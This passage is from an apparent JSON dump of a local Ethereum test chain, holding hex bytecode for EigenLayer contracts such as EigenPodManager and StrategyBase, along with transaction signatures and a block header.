4257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a26469706673582212207ff0786e5c0a24739a386958aed54016658ca50211cd889cffa9bed27003964664736f6c634300081b00330000000000000000000000004242424242424242424242424242424242424242000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","r":"0x558a7328c77e8d8af8ccacd7278c6f53c0982409415dbf855535736fd1244e52","s":"0x4f6c0f5c3d5462bd0c49f3b5ba1d06464330db3c0d97fe89a32ecc8906309e63","yParity":"0x1","hash":"0x9df730c443d92dfe2e29174fa911531116d270bf29cc55981068a8a89b1de078"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x4754d90d4f734dc39417aceb21d2545050e389f2656238acabf700fd2726c31d","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x57d9628bab6fd75f2f640b69e54b1c84ed823430af3a4b15fa2a2d4a571a3d06","transactionsRoot":"0x1469eb0690d8168cf92b7e1409f863eb98798af683f23cacbeafe711e83570c9","receiptsRoot":"0x1bdcae43204d3927a4431f304feebf536f4c5950b79cd82f25c583bca7ca9892","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000001000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000200000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x17","gasLimit":"0x1c9c380","gasUsed":"0x18acf1","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x42a1dd1","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1a","gas":"0x2011a3","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a060405234801561001057600080fd5b50604051611d33380380611d3383398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611bc761016c60003960008181610216015281816107a801528181610b490152610c130152611bc76000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000000000000000000000000000000000000000000081565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a